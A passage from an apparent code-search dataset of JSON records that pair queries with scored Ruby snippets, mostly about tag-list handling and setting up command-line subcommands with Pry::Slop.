"text": "def split_tag_list(tags_string)\n tag_names = tags_string.collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"title": ""
},
{
"docid": "b06517dcbb2a0bcc5dff5d1b80f2fe3e",
"score": "0.6731248",
"text": "def tags() ; info[:tags] ; end",
"title": ""
},
{
"docid": "b06517dcbb2a0bcc5dff5d1b80f2fe3e",
"score": "0.6731248",
"text": "def tags() ; info[:tags] ; end",
"title": ""
},
{
"docid": "eaed9ddbc804247ee201b6c1f62e0e88",
"score": "0.67245126",
"text": "def split_tags\n set_tagged_bool\n self.tagged ? self.tag.split(\" \") : []\n end",
"title": ""
},
{
"docid": "0dcf958ee77c597d85e6d4b2d5bd2cf7",
"score": "0.67241544",
"text": "def tag_list=(tags_string)\n tag_names = tags_string.split(/[\\s,\",\"]/).map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"title": ""
},
{
"docid": "6a349a515db79422aa96e0640291e600",
"score": "0.67222357",
"text": "def tags!(str)\n str.strip!\n tags = str.split(\",\").map { |tag|\n self.tags.find_or_create_by_value(tag.strip.downcase)\n }\n self.tags << tags\n end",
"title": ""
},
{
"docid": "28dcf67fabe5b4761e6db77a01f84c77",
"score": "0.6720883",
"text": "def tag_names\n self.tags.map(&:name).join(\", \")\n end",
"title": ""
},
{
"docid": "e48043c070c17061497804025a5e4712",
"score": "0.67146736",
"text": "def tag(*tags)\n tags.each {|t| @tags << t}\n @tags.uniq!\n end",
"title": ""
},
{
"docid": "b63455e23246376ef3be4f599fecae9a",
"score": "0.67060244",
"text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"title": ""
},
{
"docid": "1f64e8c4629982c7e7011d31e2b837cc",
"score": "0.67045987",
"text": "def tags\n match = /(.*?)[\\s\\u00A0]+\\[(?<tags>.*)\\]/.match(@node.inner_text)\n (match ? match[:tags] : '').split(' ')\n end",
"title": ""
},
{
"docid": "5b1098644d0de8c3ab1f7b920cd442dc",
"score": "0.6702364",
"text": "def show_tags\n tag_list = \"\"\n self.tags.each do |t|\n tag_list << \"#{t.name} \"\n end\n tag_list\n end",
"title": ""
},
{
"docid": "27a9e748e12ae40d9280bf00c215fb6a",
"score": "0.66964686",
"text": "def tags\n attributes[:tags] || []\n end",
"title": ""
},
{
"docid": "1386835e88c1cb32c3eb0a12505a4f14",
"score": "0.66865313",
"text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"title": ""
},
{
"docid": "e4a0ab50296135fed7ebe6b552c73108",
"score": "0.66735286",
"text": "def tags\n article_tags = data['tags']\n\n if article_tags.is_a? String\n article_tags.split(',').map(&:strip)\n else\n Array(article_tags).map(&:to_s)\n end\n end",
"title": ""
},
{
"docid": "35d01a3311394d30231c19a510913f4a",
"score": "0.6672547",
"text": "def tags=(list)\n @tags = makelist(list)\n end",
"title": ""
},
{
"docid": "ccac0c088c74eae1e33d1abff0a32b39",
"score": "0.6667047",
"text": "def band_tags\n @band_tags ||= [\"inverted\", \"unfinished\", \"beginning only\", \"ending only\", \"middle only\", \"perfume\", \"tractor-beam\", \"techno\", \"dub\", \"drum & bass\"].collect{|de| Tag.find_or_create_by_name(de)}\n end",
"title": ""
},
{
"docid": "a3c00bdc16308f66afc7a3605ec0fe08",
"score": "0.66651696",
"text": "def tag_names\n @tag_names ||= tags.map(&:name).join(' ')\n end",
"title": ""
},
{
"docid": "861c6afcbdc5259c9c5db48a5d988dec",
"score": "0.66461074",
"text": "def tag(*tags)\n tags.each { |tag| @tags << tag }\n end",
"title": ""
},
{
"docid": "543b00c92b20a340c801232cd0641425",
"score": "0.6645414",
"text": "def tag_names\n self.tags.map{ |t| t.name }.join(\", \")\n end",
"title": ""
},
{
"docid": "c744c91ed84292cd680c9718608c0b7e",
"score": "0.6624542",
"text": "def get_tags\n [['pxb', 'PXB'], ['ind', 'Individuals'], ['bus', 'Businesses'], ['grp', 'Peer Groups']]\n end",
"title": ""
},
{
"docid": "55e2dd7beb0393f7159e901c60646dff",
"score": "0.66170585",
"text": "def tags\n normal[:tags] = Array(normal[:tags])\n normal[:tags]\n end",
"title": ""
},
{
"docid": "3c9ed9d557e27e043e6457e2ef01b0cb",
"score": "0.6616294",
"text": "def tag_list=(names)\n self.tags = names.split(\",\").map do |n|\n SimpleTags::Tag.where(name: n.strip).first_or_create!\n end\n end",
"title": ""
},
{
"docid": "d9a55fcfb17e21222ab5a37ae38c9e30",
"score": "0.6611534",
"text": "def course_tags(params)\n return [] unless params.fetch(:course, {}).fetch(:tags_list, false).present?\n\n tags_param = params[:course][:tags_list].split(',')\n\n tags_param.map! { |tag| { name: tag } }\n end",
"title": ""
},
{
"docid": "0133c011f968f6736fd946b61487b312",
"score": "0.66105604",
"text": "def product_tags\n self.tag_list.join(\", \")\n end",
"title": ""
},
{
"docid": "8b796726028b417a43b484a4a63889cb",
"score": "0.66104937",
"text": "def tag_list=(names)\n self.tags = names.split(\", \").map do |n|\n Tag.where(name: n.strip.downcase).first_or_create!\n end\n end",
"title": ""
},
{
"docid": "8558af95a782c7ca97933a0268ad2784",
"score": "0.65980697",
"text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"title": ""
},
{
"docid": "4d1e2cbdc95c5051def718b610bff677",
"score": "0.6586883",
"text": "def tags\n data[:tags]\n end",
"title": ""
},
{
"docid": "4d1e2cbdc95c5051def718b610bff677",
"score": "0.6586883",
"text": "def tags\n data[:tags]\n end",
"title": ""
},
{
"docid": "4d1e2cbdc95c5051def718b610bff677",
"score": "0.6586883",
"text": "def tags\n data[:tags]\n end",
"title": ""
}
] |
530790a4d746107e6ba899ae632bf263
|
A method to setup Pry::Slop commands so it can parse the subcommands your command expects. If you need to set up default values, use `setup` instead.
|
[
{
"docid": "e6c0c6714a5cc9467f69e06b40393e0c",
"score": "0.591255",
"text": "def subcommands(cmd); end",
"title": ""
}
] |
[
{
"docid": "98cc1c80faf85de6b512130adacf3b8f",
"score": "0.63440937",
"text": "def set_commands; end",
"title": ""
},
{
"docid": "10ba9a5d2cee3371f32f066899a05de1",
"score": "0.6321637",
"text": "def command_setup(args)\n setup(args)\n end",
"title": ""
},
{
"docid": "09364b53256046a5f6dabfb238841728",
"score": "0.6280636",
"text": "def slop\n Slop::Commands.new do |cmd|\n subcommands(cmd)\n\n cmd.default do |opt|\n opt.banner(unindent(self.class.banner))\n options(opt)\n opt.on(:h, :help, \"Show this message.\")\n end\n end\n end",
"title": ""
},
{
"docid": "63643f284670e03cf0f9fc6938d08952",
"score": "0.6218536",
"text": "def initialize(sub_commands)\n @global_parser = Trollop::Parser.new do\n banner \"usage: #{File.basename(__FILE__)} <subcommand> [OPTIONS]\"\n text \"\"\n text \"subcommands: \"\n sub_commands.each do |k,v|\n text \" #{k} #{v}\"\n end\n text \"\"\n stop_on sub_commands.keys.map(&:to_s)\n end\n end",
"title": ""
},
{
"docid": "270c15e03d7ffeee7dd49f07922c949a",
"score": "0.61598223",
"text": "def slop\n Pry::Slop.new do |opt|\n opt.banner(unindent(self.class.banner))\n subcommands(opt)\n options(opt)\n opt.on :h, :help, 'Show this message.'\n end\n end",
"title": ""
},
{
"docid": "f20986969a1c74f37fb8ce6b94c4c9eb",
"score": "0.60430324",
"text": "def subcommands() __subcommands__ end",
"title": ""
},
{
"docid": "146137307ee65b90fb78cde499736c4b",
"score": "0.59428924",
"text": "def setup(*args) ; end",
"title": ""
},
{
"docid": "d4d4297ad493ba3c35ad67a1f0e9011a",
"score": "0.5911156",
"text": "def subcommands!() __subcommands__! end",
"title": ""
},
{
"docid": "e2314ba668f2e4afa1165a2160dab0e7",
"score": "0.58154327",
"text": "def configure_command(cmd)\n end",
"title": ""
},
{
"docid": "1b1e3b6cba81013d09639cd0db287040",
"score": "0.5807328",
"text": "def initialize\n parse_options\n command = ARGV.shift\n subcommand = ARGV.shift\n case command\n when 'console' then run_console\n when 'server' then run_server(subcommand)\n when 'node' then run_node(subcommand)\n when 'load_schema' then run_load_schema\n when 'install' then run_install(subcommand)\n when 'cleanup' then run_cleanup\n else usage\n end\n end",
"title": ""
},
{
"docid": "5d7e0ac2e5eaf42589ada552288b68a6",
"score": "0.57840604",
"text": "def initialize(*commands)\n @options = (commands.last.is_a?(Hash) && commands.pop) || {}\n @commands = commands\n end",
"title": ""
},
{
"docid": "bb2f8e2c395f2fa148509f407ab7d25e",
"score": "0.5777047",
"text": "def setup(options); end",
"title": ""
},
{
"docid": "bb2f8e2c395f2fa148509f407ab7d25e",
"score": "0.5777047",
"text": "def setup(options); end",
"title": ""
},
{
"docid": "000117fd17c3a26f32a6cb033147871e",
"score": "0.57481325",
"text": "def set_commands\n super\n @commands['clear'] = ConsoleCommand_Clear.new(self)\n @commands['confirm'] = ConsoleCommand_Confirm.new(self)\n end",
"title": ""
},
{
"docid": "2a0e5baefaae0ccc0286e78b03d2e1b0",
"score": "0.57098836",
"text": "def setup(options = {}); end",
"title": ""
},
{
"docid": "81a94703b5a2b2a69ebf189c1696b1ce",
"score": "0.57089823",
"text": "def initialize\n register_script \"Provide on-protocol help for bot scripts and commands.\"\n\n register_command \"help\", :cmd_help, 0, 0, nil, \"Show help for the given command or a list of all commands. Parameters: [command]\"\n register_command \"script\", :cmd_script, 0, 0, nil, \"Show a description of the given script or a list of all scripts. Parameters: [script]\"\nend",
"title": ""
},
{
"docid": "ea5b76c5dda3894b4a3256648730426e",
"score": "0.57045174",
"text": "def initialize\n load_commands\n end",
"title": ""
},
{
"docid": "3966adf5d8ab74b31edef180267e7af7",
"score": "0.5682366",
"text": "def set_commands\n ConsoleCommand::Properties.each do |cmd_class,data|\n next if data[:debug_only] && !$DEBUG\n next if data[:outside_game]\n next if (data[:session] || 'shell') != self.name\n next if data[:mkxp_only] && !$MKXP\n @commands[data[:name]] = cmd_class.new(self) unless data[:hidden]\n end \n end",
"title": ""
},
{
"docid": "de7dafde92955be8cb7fe4e72f27030f",
"score": "0.5660072",
"text": "def set_commands\n ConsoleCommand::Properties.each do |cmd_class,data|\n next if data[:debug_only] && !$DEBUG\n next if data[:in_game]\n next if (data[:session] || 'shell') != self.name\n next if data[:mkxp_only] && !$MKXP\n @commands[data[:name]] = cmd_class.new(self) unless data[:hidden]\n end \n end",
"title": ""
},
{
"docid": "76453e0dbdb70a54ce07e59e65fa5765",
"score": "0.56541806",
"text": "def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end",
"title": ""
},
{
"docid": "5fc4688124f1f23f3c550b4b4d544bf3",
"score": "0.5650331",
"text": "def add_commands\n end",
"title": ""
},
{
"docid": "107586b628d23f4084a05cacc65ad076",
"score": "0.5649704",
"text": "def /(command_name)\n command_name = command_name.to_s unless command_name.nil?\n cls = Class.new { include GitFlow::Mixin }\n (class << cls; self; end).module_eval do\n attr_accessor :help, :documentation, :command\n define_method(:/) do |subcommand|\n raise \"Subcommand cannot be nil\" unless subcommand\n GitFlow/([command_name, subcommand].compact.join(' '))\n end\n define_method(:inherited) do |subclass|\n subclass.command = command_name\n GitFlow.commands[command_name] = subclass\n end\n end\n cls\n end",
"title": ""
},
{
"docid": "50e29bd30d7d846dcadb549a336561f8",
"score": "0.5636584",
"text": "def parse\n parse_command\n load_config\n finalize_setup\n end",
"title": ""
},
{
"docid": "0e136b5f65c519862a4c51eadeed5994",
"score": "0.5630114",
"text": "def subcommands\n @subcommands ||= []\n end",
"title": ""
},
{
"docid": "0e136b5f65c519862a4c51eadeed5994",
"score": "0.5630114",
"text": "def subcommands\n @subcommands ||= []\n end",
"title": ""
},
{
"docid": "6978dab89a234e178772551c8bcdc6a4",
"score": "0.55979806",
"text": "def setup_options\n parser = OptionParser.new do |o|\n o.banner = 'Usage: bundle exec qpush-server [options]'\n\n o.on('-c', '--config PATH', 'Load PATH for config file') do |arg|\n load(arg)\n Server.log.info(\"* Server config: #{arg}\")\n end\n\n o.on('-h', '--help', 'Prints this help') { puts o && exit }\n end\n parser.parse!(@argv)\n end",
"title": ""
},
{
"docid": "97ac91c30a12a6d8e1d8d09a452ca67c",
"score": "0.55897325",
"text": "def load_commands\n command(:linescore) { feed_for_event(_1)&.send_line_score }\n command(:lineups) { feed_for_event(_1)&.send_lineups }\n command(:umpires) { feed_for_event(_1)&.send_umpires }\n\n register_commands_with_arguments\n end",
"title": ""
},
{
"docid": "efb772e2d144f82be653be132646113c",
"score": "0.55605185",
"text": "def setup(*_)\n require 'patron'\n end",
"title": ""
},
{
"docid": "8466fea39000d8bec816e0ae5c8b34cf",
"score": "0.5557001",
"text": "def install_commands\n raise 'Concrete installers implement this to specify commands to run to install their respective packages'\n end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5540504",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "b9ca45da8b10ca78fb43d6693e3ea429",
"score": "0.5520936",
"text": "def init\n Runner.in_shell = true\n Command.all_option_commands = true if @options[:option_commands]\n super\n Index.update(:verbose=>true, :libraries=>@options[:index]) if @options.key?(:index)\n if @options[:load]\n Manager.load @options[:load], load_options\n elsif @options[:execute]\n define_autoloader\n else\n load_command_by_index\n end\n end",
"title": ""
},
{
"docid": "6e2f2672192828695449a4069d5022bb",
"score": "0.55082476",
"text": "def initialize\n register_script \"Provides several game commands.\"\n\n register_command \"dice\", :cmd_dice, 1, 0, nil, \"Roll dice. Parameters: <count>d<sides>[+/-<modifier>]\"\n register_command \"eightball\", :cmd_eightball, 0, 0, nil, \"Shake the 8-ball.\"\n register_command \"coin\", :cmd_coin, 0, 0, nil, \"Flip a coin.\"\nend",
"title": ""
},
{
"docid": "e7838b3df32da4e2ff13f53985b59bb7",
"score": "0.5492412",
"text": "def method_missing( method, *args, &block )\n if method.to_s =~ /^setup_(.*)$/ && args.empty?\n add( $1.to_sym, caller.first, &block )\n else\n super\n end\n end",
"title": ""
},
{
"docid": "5c8c677bc400cf1d7feb80e290b95df0",
"score": "0.54576176",
"text": "def initialize(cmds = {})\n @commands = cmds\n end",
"title": ""
},
{
"docid": "2421763d64c74e3b3ae768561623e7e4",
"score": "0.54521304",
"text": "def setup\n add_standard_properties\n #\n create_banner\n create_standard_options\n create_advanced_options\n create_mode_options\n create_application_options\n create_feature_options\n create_tail_options\n #\n parse_options\n load_config_configuration\n create_result_directory\n load_results_archive\n end",
"title": ""
},
{
"docid": "85377cdc66c1d1f77d82981282168b66",
"score": "0.545068",
"text": "def subcommand() __subcommand__ end",
"title": ""
},
{
"docid": "2169685a5115308747e7f5bde0631f1f",
"score": "0.54461896",
"text": "def setup(args)\n print_error yellow,\"[DEPRECATED] The command `remote setup` is deprecated. It has been replaced by `setup`.\",reset,\"\\n\"\n options = {}\n optparse = Morpheus::Cli::OptionParser.new do|opts|\n opts.banner = subcommand_usage()\n build_common_options(opts, options, [:payload, :options, :json, :dry_run, :quiet])\n opts.on('--hubmode MODE','--hubmode MODE', \"Choose an option for hub registration possible values are login, register, skip.\") do |val|\n options[:hubmode] = val.to_s.downcase\n end\n opts.footer = <<-EOT\nSetup a fresh remote appliance, initializing it.\nFirst, this checks if setup is available, and returns an error if not.\nThen it prompts to create the master tenant and admin user.\nIf Morpheus Hub registration is enabled, you may login or register to retrieve a license key,\nor you can pass `--hubmode skip`.\nThis is only available on a new, freshly installed remote appliance,\nand it may only be executed successfully one time.\nEOT\n end\n optparse.parse!(args)\n verify_args!(args:args, optparse:optparse, max:1)\n # just invoke the setup command.\n # for this to work, the argument [remote] must be the first argument.\n cmd_args = []\n remote_name = nil\n if args[0]\n remote_name = args.shift\n # cmd_args = cmd_args + [\"-r\",remote_name, args]\n cmd_args = args + [\"-r\",remote_name, args]\n end\n return Morpheus::Cli::Setup.new.handle(cmd_args)\n end",
"title": ""
},
{
"docid": "e2e9b43e05bfb4aaa536887fafb558e7",
"score": "0.5445404",
"text": "def define_additional_commands\n s = self\n\n Pry::Commands.command \"make-interactive\", \"Make the session interactive\" do\n _pry_.input_stack.push _pry_.input\n s.interactive_mode(_pry_)\n end\n\n Pry::Commands.command \"make-non-interactive\", \"Make the session non-interactive\" do\n _pry_.input = _pry_.input_stack.pop\n s.non_interactive_mode(_pry_)\n end\n\n Pry::Commands.command \"load-file\", \"Load another file through the repl\" do |file_name|\n content = StringIO.new(File.read(File.expand_path(file_name)))\n _pry_.input_stack.push(_pry_.input)\n _pry_.input = content\n end\n end",
"title": ""
},
{
"docid": "b1fe790cd903d4d7593c628ce64ced4e",
"score": "0.5440875",
"text": "def initialize(*command_path) \n @command = command_path.collect { |part| \"#{part}\".gsub('_', '-') }.join('/')\n @command = \"/#{@command}\" unless @command.start_with?('/')\n @options = {}\n @replies = []\n end",
"title": ""
},
{
"docid": "c4b8de213e640cb2b03bd00ac711b609",
"score": "0.54272395",
"text": "def start args = ARGV\n load_user_config\n load_builtin_tasks\n load_hemfiles\n load_project_config\n\n define_global_opts @slop\n\n begin\n # Parse out global args first\n @slop.parse! args\n opts = @slop.to_hash\n\n @help_opts[:all] = opts[:all]\n\n # Necessary to make command level help work\n args.push \"--help\" if @slop.help? || args.empty?\n\n include_pre_tasks\n remaining = @slop.parse! args.dup\n remaining.push \"--help\" if @slop.help?\n\n if remaining == args\n include_post_tasks opts\n\n remaining = @slop.parse! remaining\n end\n\n raise Hem::InvalidCommandOrOpt.new remaining.join(\" \") if remaining.size > 0\n\n show_help if @slop.help?\n rescue Halt\n # NOP\n end\n\n return 0\n end",
"title": ""
},
{
"docid": "45a71657457888df52b731203ce362f8",
"score": "0.5397854",
"text": "def initialize(config, *args)\n super(config, *args)\n config.dry_tree_cmd_stubs.each do |s|\n self.stub_cmd(s.cmd_str_proc, {\n :input => s.input_proc,\n :opts => s.given_opts_proc\n }, &s.block)\n end\n config.dry_tree_ssh_stubs.each do |s|\n self.stub_ssh(s.cmd_str_proc, {\n :input => s.input_proc,\n :opts => s.given_opts_proc\n }, &s.block)\n end\n end",
"title": ""
},
{
"docid": "dd1b27f54429e1ae30895407f136983c",
"score": "0.53869456",
"text": "def initialize(commands)\n @cmds = commands\n end",
"title": ""
},
{
"docid": "638bc7a16e9d6708283ad77bccc2a3ed",
"score": "0.53820187",
"text": "def cmd(*cmd_args)\n\t\tsetup_opts = {}\n\t\tbegin\n\t\t\t@arguments.parser(*cmd_args) do |opt,idx,val|\n\t\t\t\tif opt == '-h'\n\t\t\t\t\t@arguments.usage\n\t\t\t\t\tKernel.exit(1)\n\t\t\t\tend\n\t\t\t\t@packet.each_header do |type|\n\t\t\t\t\ttype << \"_case\"\n\t\t\t\t\tsetup_opts.merge!(Parser::Case.new.send(type.to_sym,opt,val))\n\t\t\t\tend\n\t\t\tend\n\t\trescue\n\t\t\t@arguments.usage\n\t\t\tKernel.exit(1)\n\t\tend\n\t\tself.setup(setup_opts)\n\tend",
"title": ""
},
{
"docid": "2bd165dc95bdb40970501f76963fdc00",
"score": "0.5375743",
"text": "def setup_lot_and_slots(command)\n\t\t@@lot = ParkingLot.create_parking_lot(command[:arguments])\n\t\t@@slots = Slot.create_slots(@@lot) if @@lot\n\tend",
"title": ""
},
{
"docid": "d77cc9816f75b07932700336bf2bf62b",
"score": "0.53714925",
"text": "def setup\n @mike = users(:mike)\n @admin = users(:frank)\n @issue = issues(:one)\n @update = updates(:one)\n end",
"title": ""
},
{
"docid": "ab890a63792fe75a52bf3f912efaac3f",
"score": "0.53677183",
"text": "def initialize(registry)\n @commands = registry\n end",
"title": ""
},
{
"docid": "08f79939254988525e98d6412b8cdcd0",
"score": "0.5367268",
"text": "def create_test_command\n command :test do\n syntax = 'test [options] <file>'\n description = 'test description'\n example 'description', 'command'\n example 'description 2', 'command 2'\n option '-v', '--verbose', 'verbose description'\n when_called do |args, _options|\n format('test %s', args.join)\n end\n end\n @command = command :test\n\n\tcommand :nested do\n\t\tcommand :test do\n\t\tend\t\n\tend\n\t@nested_command = command :nested\nend",
"title": ""
},
{
"docid": "fad38221a5aad4531b0ed15f9a5d067c",
"score": "0.5360882",
"text": "def slop(cmds: [], errors: false)\n Slop.parse suppress_errors: !errors do |o|\n yield o\n\n o.on \"-h\", \"--help\" do\n puts o\n exit\n end\n\n o.on \"--introspect-flags\" do\n comp = o.options.flat_map(&:flags) + cmds\n puts comp.join \"\\n\"\n exit\n end\n end\n end",
"title": ""
},
{
"docid": "0ca7447ad7efe79a240fee1b9cc04d6f",
"score": "0.53372926",
"text": "def initialize(opts={})\n @port = opts[:port]\n @options = opts\n @options[:command_prefix] ||= DEFAULT_COMMAND_PREFIX\n @break_flag = false\n @logger = options[:logger]\n \n @stems = Set.new\n # Let the stems array respond to methods as if it were a single stem\n class << @stems\n def method_missing(meth, *args)\n if all? { |stem| stem.respond_to? meth } then\n collect { |stem| stem.send(meth, *args) }\n else\n super\n end\n end\n end\n end",
"title": ""
},
{
"docid": "27bb287c1f57d87731b2044e61eb960c",
"score": "0.53267896",
"text": "def prepare_command\n info(\"Preparing the SUT and Pester dependencies...\")\n resolve_downloads_paths!\n really_wrap_shell_code(install_command_script)\n end",
"title": ""
},
{
"docid": "569ec5d7d2173343b569183352d740d8",
"score": "0.5324478",
"text": "def we_have_a_command_with_two_subcommands(options = {})\n lambda {\n @run_results = { :add => nil, :rename => nil, :base => nil }\n @app.command :remote do |c|\n\n c.switch :f\n\n c.desc \"add a remote\"\n c.command [:add,:new] do |add|\n\n Array(options[:flags]).each { |_| add.flag _ }\n Array(options[:switches]).each { |_| add.switch _ }\n add.action do |global_options,command_options,args|\n @run_results[:add] = [global_options,command_options,args]\n end\n end\n\n c.desc \"rename a remote\"\n c.command :rename do |rename|\n rename.action do |global_options,command_options,args|\n @run_results[:rename] = [global_options,command_options,args]\n end\n end\n\n c.action do |global_options,command_options,args|\n @run_results[:base] = [global_options,command_options,args]\n end\n end\n ENV['GLI_DEBUG'] = 'true'\n }\n end",
"title": ""
},
{
"docid": "cf19c8f6700be284562926bb4f0ee823",
"score": "0.53163457",
"text": "def setup\n setup_major_pieces\n setup_pawns\n end",
"title": ""
},
{
"docid": "acb51c6c1d4c645ce08596b4ba44c3e3",
"score": "0.5299562",
"text": "def setup(opt, cmd)\n if not(arg.nil?) and type.nil?\n raise OptionError.new(cmd, \"Option type is undefined for the option \" + inspect)\n end\n\n # build OptionParser#on arguments\n args = [short_for_optparse, long_for_optparse, desc].compact\n\n # call #on with the argument\n opt.on(*args) {|val| specify(cmd, val)}\n end",
"title": ""
},
{
"docid": "febf458e4f97d654db3255e409b00d95",
"score": "0.5296362",
"text": "def __subcommands__!()\n ::Algorithm.follow(self.__subcommand__!, :__subcommand__!).to_a\n end",
"title": ""
},
{
"docid": "ea8dc7c738b5dc7f3f9fad22b8665178",
"score": "0.527525",
"text": "def setup_options\n @parser.banner = BANNER\n\n @parser.on('-V', '--version', 'display version and exit') { show_version }\n @parser.on('-h', '--help', 'display help and exit') { show_help }\n @parser.on('-f', '--files=[file1.txt file2.txt ...]', Array, 'text files to read') { |o| @options.files = o }\n @parser.on('-n', '--number=NUM', Integer, 'number of results to show [default = 100]') do |n|\n @options.number = n\n end\n @parser.on('-v', '--verbose', 'verbose output') { @options.verbose = true }\n end",
"title": ""
},
{
"docid": "3afd06939644edb4c7c30dbf9783463e",
"score": "0.5265401",
"text": "def parse\n @commands.each do |_, cmd|\n if cmd.flags?\n # or for the || seems to not do what I want it to do...\n next unless argv_index = ARGV.index(cmd.flags.short) || ARGV.index(cmd.flags.long)\n else\n next unless argv_index = ARGV.index(cmd.index.to_s)\n end\n cmd.given = true unless argv_index.nil?\n if cmd.type.nil?\n yield cmd if block_given?\n else\n if parsed = parse_cmd(cmd, flags)\n cmd.arguments = parsed || cmd.default\n yield cmd if block_given?\n elsif cmd.default\n cmd.arguments = cmd.default\n yield cmd if block_given?\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ba050f8c7360fe2ff5ad264c3206eceb",
"score": "0.524513",
"text": "def setup(command)\n return if @setup.include?(command.class)\n @setup << command.class\n\n if command.respond_to?(:setup)\n command.setup\n watcher.add loaded_application_features # loaded features may have changed\n end\n end",
"title": ""
},
{
"docid": "0e3ef5b14df17581ce49af14632fab75",
"score": "0.524252",
"text": "def default_setup(*args)\n options = args.last.is_a?(Hash) ? args.last.dup : {}\n args.each { |arg| options[arg] = true if arg.is_a?(Symbol) }\n method_name = \"#{options[:prefix]}setup\".to_sym\n unless options[:without_login]\n load_users_fixture\n define_method(method_name) do\n @controller = self.class.target.new\n @request = ActionController::TestRequest.new\n @response = ActionController::TestResponse.new\n login options\n end\n else\n define_method(method_name) do\n @controller = self.class.target.new\n @request = ActionController::TestRequest.new\n @response = ActionController::TestResponse.new\n end\n end\n end",
"title": ""
},
{
"docid": "0875885fd68dccc1e839784ae0fbd9ba",
"score": "0.5241932",
"text": "def test_optional_commands\n type = Puppet::Type.newtype(:optional_commands) {}\n\n cleanup { Puppet::Type.rmtype(:optional_commands) }\n\n # Define a provider with mandatory commands\n required = type.provide(:required) {\n commands :missing => \"/no/such/binary/definitely\"\n }\n\n # And another with optional commands\n optional = type.provide(:optional) {\n optional_commands :missing => \"/no/such/binary/definitely\"\n }\n\n assert(! required.suitable?, \"Provider with missing commands considered suitable\")\n assert_nil(required.command(:missing), \"Provider returned non-nil from missing command\")\n\n assert(optional.suitable?, \"Provider with optional commands considered unsuitable\")\n assert_nil(optional.command(:missing), \"Provider returned non-nil from missing command\")\n\n assert_raise(Puppet::Error, \"Provider did not fail when missing command was called\") do\n optional.missing\n end\n end",
"title": ""
},
{
"docid": "f3ff029aab6d6c03125ddd6a6655523f",
"score": "0.5236",
"text": "def initialize( options )\n\t\t@startup_options = options\n\n\t\t@prompt = DEFAULT_PROMPT\n\t\t@aliases = {}\n\n\t\t@columns = TermInfo.screen_width\n\t\t@rows = TermInfo.screen_height\n\t\t@commands = RoninShell::Command.require_all\n\t\t@command_table = self.make_command_table( @commands )\n\n\t\t@quitting = false\n\n\t\tself.log.debug \"%p: set up with %d builtin commands for a %dx%d terminal\" %\n\t\t\t[ self.class, @commands.length, @columns, @rows ]\n\tend",
"title": ""
},
{
"docid": "40df4a5e3789153d894ab43a5d94ae10",
"score": "0.5225543",
"text": "def initialize(*args)\n super\n\n @config = @bot.config\n @db = @config.db\n @keywords = eval(\"/#{@config.keywords.join(\"|\")}/i\")\n @passwd = config['command']['password'] ||\n Digest::SHA1.hexdigest(\"impersonate!\")\n @users = []\n end",
"title": ""
},
{
"docid": "8648f037cb64702fe6195dc285c654be",
"score": "0.52182806",
"text": "def setup(hash_args); end",
"title": ""
},
{
"docid": "79cf2bc4de818f8a0d1b195ded7ada02",
"score": "0.52120507",
"text": "def add_main_commands\n add_command(Vocab::item, :item, main_commands_enabled)\n add_command(Vocab::skill, :skill, main_commands_enabled)\n add_command(Vocab::equip, :equip, main_commands_enabled)\n add_command(Vocab::status, :status, main_commands_enabled)\n end",
"title": ""
},
{
"docid": "79552068aea60a34567f1a08d9150355",
"score": "0.5209121",
"text": "def cli_parse\n @command = nil\n\n cli @argv,\n \"-R --rules\" => lambda{ @command = :list },\n \"-H --help\" => lambda{ @command = :help },\n \"-a --auto\" => method(:watch=),\n \"-f --fresh\" => method(:fresh!),\n \"-s --script\" => method(:script=),\n \"-D --debug\" => method(:debug!)\n end",
"title": ""
},
{
"docid": "b58fdbe4b9d2d70fcae06b35bc7e0704",
"score": "0.52087855",
"text": "def load_commands\n Dir[\"#{Scarlet.root}/commands/**/*.rb\"].each {|path| load path and Command.parse_help path}\n end",
"title": ""
},
{
"docid": "e7e405de07c1c3a0ce7d83a6603db5ea",
"score": "0.52043945",
"text": "def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"title": ""
},
{
"docid": "b5cb2f3ee7d232dc21c9062f42bc65db",
"score": "0.52002245",
"text": "def setup\n @plugins.each do |p|\n if p.respond_to? :setup\n p.setup\n end\n end\n end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.5178755",
"text": "def commands; end",
"title": ""
},
{
"docid": "b1ea304a6205376e1d849289d5419a68",
"score": "0.5177597",
"text": "def set_available_commands\n hash = {}\n Command.descendants.each do |child|\n mod, command = child.to_s.split('::')\n next if command.nil?\n mod = ConsoleProgram.base_module if mod == 'ConsoleProgram'\n hash[mod.downcase.to_sym] ||= {}\n hash[mod.downcase.to_sym][child.command_reference] = child\n child.alternate_commands.each{|cmd| hash[mod.downcase.to_sym][cmd] = child } unless child.alternate_commands.nil?\n end\n #= TODO (Maybe) find a better way to store the hash. -shosang\n # => A custom class that acts a lot like a hash?\n @@commands = hash\n end",
"title": ""
},
{
"docid": "100e103d43cb97ee675a982d12cd9d9b",
"score": "0.5167718",
